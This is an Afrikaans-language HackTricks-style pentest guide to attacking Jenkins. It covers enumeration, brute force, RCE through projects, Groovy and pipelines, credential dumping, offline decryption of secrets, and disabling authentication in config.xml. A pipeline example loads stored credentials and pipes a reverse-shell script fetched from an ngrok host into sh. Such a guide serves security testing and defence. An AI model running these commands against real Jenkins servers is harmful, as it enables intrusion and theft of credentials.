16 KiB
Jenkins Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
Basiese Inligting
Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n deurlopende integrasie of deurlopende aflewering (CI/CD) omgewing vir byna enige kombinasie van programmering tale en bronkode repositories te vestig met behulp van pipelines. Verder outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die noodsaaklikheid om skripte vir individuele stappe te skep verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou, toets, en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan saamstel.
{{#ref}} basic-jenkins-information.md {{#endref}}
Onauthentieke Enumerasie
Om te soek na interessante Jenkins bladsye sonder outentisering soos (/people of /asynchPeople, dit lys die huidige gebruikers) kan jy gebruik maak van:
msf> use auxiliary/scanner/http/jenkins_enum
Kontroleer of jy opdragte kan uitvoer sonder om verifikasie te benodig:
msf> use auxiliary/scanner/http/jenkins_command
sonder geloofsbriewe kan jy binne die /asynchPeople/ pad of /securityRealm/user/admin/search/index?q= kyk vir gebruikersname.
Jy mag dalk die Jenkins weergawe van die pad /oops of /error kan kry.
Bekende Kw vulnerabilities
{{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}}
Teken in
In die basiese inligting kan jy alle maniere om in Jenkins in te teken nagaan:
{{#ref}} basic-jenkins-information.md {{#endref}}
Registreer
Jy sal in staat wees om Jenkins instansies te vind wat jou toelaat om 'n rekening te skep en daarin in te teken. So eenvoudig soos dit.
SSO Teken in
As SSO funksionaliteit/plugins teenwoordig was, moet jy probeer om in die toepassing in te teken met 'n toetsrekening (d.w.s., 'n toets Github/Bitbucket rekening). Trick from here.
Bruteforce
Jenkins het wagwoordbeleid en gebruikersnaam bruteforce mitigering ontbreek. Dit is noodsaaklik om bruteforce gebruikers, aangesien swak wagwoorde of gebruikersname as wagwoorde dalk in gebruik is, selfs omgekeerde gebruikersname as wagwoorde.
msf> use auxiliary/scanner/http/jenkins_login
Wachtwoord spuit
Gebruik hierdie python-skrip of hierdie powershell-skrip.
IP Whitelisting Bypass
Baie organisasies kombineer SaaS-gebaseerde bronbeheer (SCM) stelsels soos GitHub of GitLab met 'n interne, self-gehoste CI oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om webhook-gebeurtenisse van SaaS-bronbeheer verskaffers te ontvang, hoofsaaklik om pyplynwerk te aktiveer.
Om dit te bereik, whitelist organisasies die IP-reekse van die SCM-platforms, wat hulle toelaat om toegang te verkry tot die interne CI-stelsel via webhooks. Dit is egter belangrik om te noem dat enige iemand 'n rekening op GitHub of GitLab kan skep en dit kan konfigureer om 'n webhook te aktiveer, wat moontlik versoeke na die interne CI-stelsel kan stuur.
Kontroleer: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/
Interne Jenkins Misbruik
In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.
Warning
Afhangende van die Magtigings meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, kan jy dalk in staat wees of nie om die volgende aanvalle uit te voer.
Vir meer inligting, kyk na die basiese inligting:
{{#ref}} basic-jenkins-information.md {{#endref}}
Lys gebruikers
As jy toegang tot Jenkins verkry het, kan jy ander geregistreerde gebruikers lys in http://127.0.0.1:8080/asynchPeople/
Dumping builds om duidelike teks geheime te vind
Gebruik hierdie skrip om bou-konsoluitsette en bou-omgewing veranderlikes te dump om hopelik duidelike teks geheime te vind.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
Diefstal van SSH Kredensiale
As die gecompromitteerde gebruiker genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy daardie kredensiale steel deur 'n node te skep/wysig en 'n gasheer in te stel wat die kredensiale sal opneem sonder om die gasheer sleutel te verifieer:
Jy sal gewoonlik Jenkins ssh kredensiale in 'n globale verskaffer (/credentials/) vind, so jy kan dit ook dump soos jy enige ander geheim sou dump. Meer inligting in die Dumping secrets section.
RCE in Jenkins
Om 'n shell in die Jenkins bediener te kry, gee die aanvaller die geleentheid om al die geheime en omgewing veranderlikes te lek en om ander masjiene in dieselfde netwerk te ontgin of selfs cloud kredensiale te versamel.
Standaard sal Jenkins as SYSTEM loop. Dus, om dit te kompromitteer sal die aanvaller SYSTEM bevoegdhede gee.
RCE Skep/Wysig 'n projek
Om 'n projek te skep/wysig is 'n manier om RCE oor die Jenkins bediener te verkry:
{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}
RCE Voer Groovy skrip uit
Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerklik is as om 'n nuwe projek te skep:
{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}
RCE Skep/Wysig Pyplyn
Jy kan ook RCE verkry deur 'n pyplyn te skep/wysig:
{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}
Pyplyn Exploitatie
Om pyplyne te ontgin, moet jy steeds toegang tot Jenkins hê.
Bou Pyplyne
Pyplyne kan ook as boumeganisme in projekte gebruik word, in daardie geval kan dit geconfigureer word met 'n lêer binne die repository wat die pyplyn sintaksis sal bevat. Standaard word /Jenkinsfile gebruik:
Dit is ook moontlik om pyplyn konfigurasielêers in ander plekke te stoor (in ander repositories byvoorbeeld) met die doel om toegang tot die repository en die pyplyn toegang te skei.
As 'n aanvaller skrywe toegang oor daardie lêer het, sal hy in staat wees om dit te wysig en potensieel die pyplyn te aktiveer sonder om toegang tot Jenkins te hê.
Dit is moontlik dat die aanvaller sal moet omseil sommige tak beskermings (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie).
Die mees algemene triggers om 'n pasgemaakte pyplyn uit te voer is:
- Trekversoek na die hoof tak (of potensieel na ander takke)
- Stoot na die hoof tak (of potensieel na ander takke)
- Opdateer die hoof tak en wag totdat dit op een of ander manier uitgevoer word
Note
As jy 'n eksterne gebruiker is, moet jy nie verwag om 'n PR na die hoof tak van die repo van ander gebruiker/organisasie te skep en die pyplyn te aktiveer nie... maar as dit sleg geconfigureer is, kan jy heeltemal maatskappye kompromitteer net deur dit te ontgin.
Pyplyn RCE
In die vorige RCE afdeling is daar reeds 'n tegniek aangedui om RCE te verkry deur 'n pyplyn te wysig.
Kontroleer Omgewing veranderlikes
Dit is moontlik om duidelike teks omgewing veranderlikes vir die hele pyplyn of vir spesifieke fases te verklaar. Hierdie omgewing veranderlikes moet nie sensitiewe inligting bevat nie, maar 'n aanvaller kan altyd alle pyplyn konfigurasies/Jenkinsfiles nagaan:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Vir inligting oor hoe sekrete gewoonlik deur Jenkins hanteer word, kyk na die basiese inligting:
{{#ref}} basic-jenkins-information.md {{#endref}}
Akrediteerlinge kan geskik word vir globale verskaffers (/credentials/) of vir spesifieke projekte (/job/<project-name>/configure). Daarom, om al hulle te exfiltrate, moet jy ten minste al die projekte wat sekrete bevat, kompromitteer en aangepaste/vergiftigde pipelines uitvoer.
Daar is nog 'n probleem, om 'n geheim binne die omgewing van 'n pipeline te kry, moet jy die naam en tipe van die geheim ken. Byvoorbeeld, as jy probeer om 'n usernamePassword geheim as 'n string geheim te laai, sal jy hierdie fout kry:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Hier is die manier om 'n paar algemene geheime tipes te laai:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Aan die einde van hierdie bladsy kan jy alle die akkreditasietipes vind: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
Die beste manier om alle die geheime op een slag te dump is deur die Jenkins masjien te kompromitteer (byvoorbeeld deur 'n omgekeerde skulp in die ingeboude node te laat loop) en dan die master sleutels en die geënkripteerde geheime te lek en dit offline te ontsleutel.
Meer oor hoe om dit te doen in die Nodes & Agents section en in die Post Exploitation section.
Triggers
Van die docs: Die triggers riglyn definieer die geoutomatiseerde maniere waarop die Pipeline weer geaktiveer moet word. Vir Pipelines wat geïntegreer is met 'n bron soos GitHub of BitBucket, mag triggers nie nodig wees nie, aangesien webhooks-gebaseerde integrasie waarskynlik reeds teenwoordig sal wees. Die huidige beskikbare triggers is cron, pollSCM en upstream.
Cron voorbeeld:
triggers { cron('H */4 * * 1-5') }
Kontroleer ander voorbeelde in die dokumentasie.
Knoop & Agente
'n Jenkins-instantie mag verskillende agente op verskillende masjiene hê. Vanuit 'n aanvaller se perspektief beteken toegang tot verskillende masjiene verskillende potensiële wolkakkredite om te steel of verskillende netwerktoegang wat misbruik kan word om ander masjiene te ontgin.
Vir meer inligting, kyk na die basiese inligting:
{{#ref}} basic-jenkins-information.md {{#endref}}
Jy kan die gekonfigureerde knope in /computer/ opnoem, jy sal gewoonlik die **Built-In Node ** (wat die knoop is wat Jenkins uitvoer) en moontlik meer vind:
Dit is spesiaal interessant om die Built-In knoop te kompromitteer omdat dit sensitiewe Jenkins-inligting bevat.
Om aan te dui dat jy die pipeline in die ingeboude Jenkins-knoop wil uitvoer, kan jy die volgende konfigurasie binne die pipeline spesifiseer:
pipeline {
agent {label 'built-in'}
Volledige voorbeeld
Pypeline in 'n spesifieke agent, met 'n cron-trig, met pypeline en fase omgewingsveranderlikes, wat 2 veranderlikes in 'n stap laai en 'n omgekeerde shell stuur:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitraire Lêer Lees na RCE
{{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md {{#endref}}
RCE
{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}
{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}
{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}
Post Exploitatie
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Geheimen
Jy kan die geheime lys deur toegang te verkry tot /credentials/ as jy genoeg regte het. Let daarop dat dit slegs die geheime in die credentials.xml lêer sal lys, maar bou konfigurasielêers mag ook meer krediete hê.
As jy die konfigurasie van elke projek kan sien, kan jy ook daar die name van die krediete (geheime) sien wat gebruik word om toegang tot die repository te verkry en ander krediete van die projek.
Van Groovy
{{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}}
Van skyf
Hierdie lêers is nodig om Jenkins geheime te ontsleutel:
- secrets/master.key
- secrets/hudson.util.Secret
Sulke geheime kan gewoonlik gevind word in:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Hier is 'n regex om hulle te vind:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Ontsleutel Jenkins geheime offline
As jy die nodige wagwoorde om die geheime te ontsleutel afgelaai het, gebruik hierdie skrif om daardie geheime te ontsleutel.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Ontsleutel Jenkins geheime vanaf Groovy
println(hudson.util.Secret.decrypt("{...}"))
Skep nuwe admin gebruiker
- Toegang tot die Jenkins config.xml lêer in
/var/lib/jenkins/config.xmlofC:\Program Files (x86)\Jenkis\ - Soek na die woord
<useSecurity>true</useSecurity>en verander die woordtruenafalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Herstart die Jenkins bediener:
service jenkins restart - Gaan nou weer na die Jenkins portaal en Jenkins sal nie enige geloofsbriewe vra hierdie keer nie. Jy navigeer na "Manage Jenkins" om die administrateur wagwoord weer in te stel.
- Aktiveer die sekuriteit weer deur die instellings te verander na
<useSecurity>true</useSecurity>en herstart die Jenkins weer.
Verwysings
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
{{#include ../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)
.png)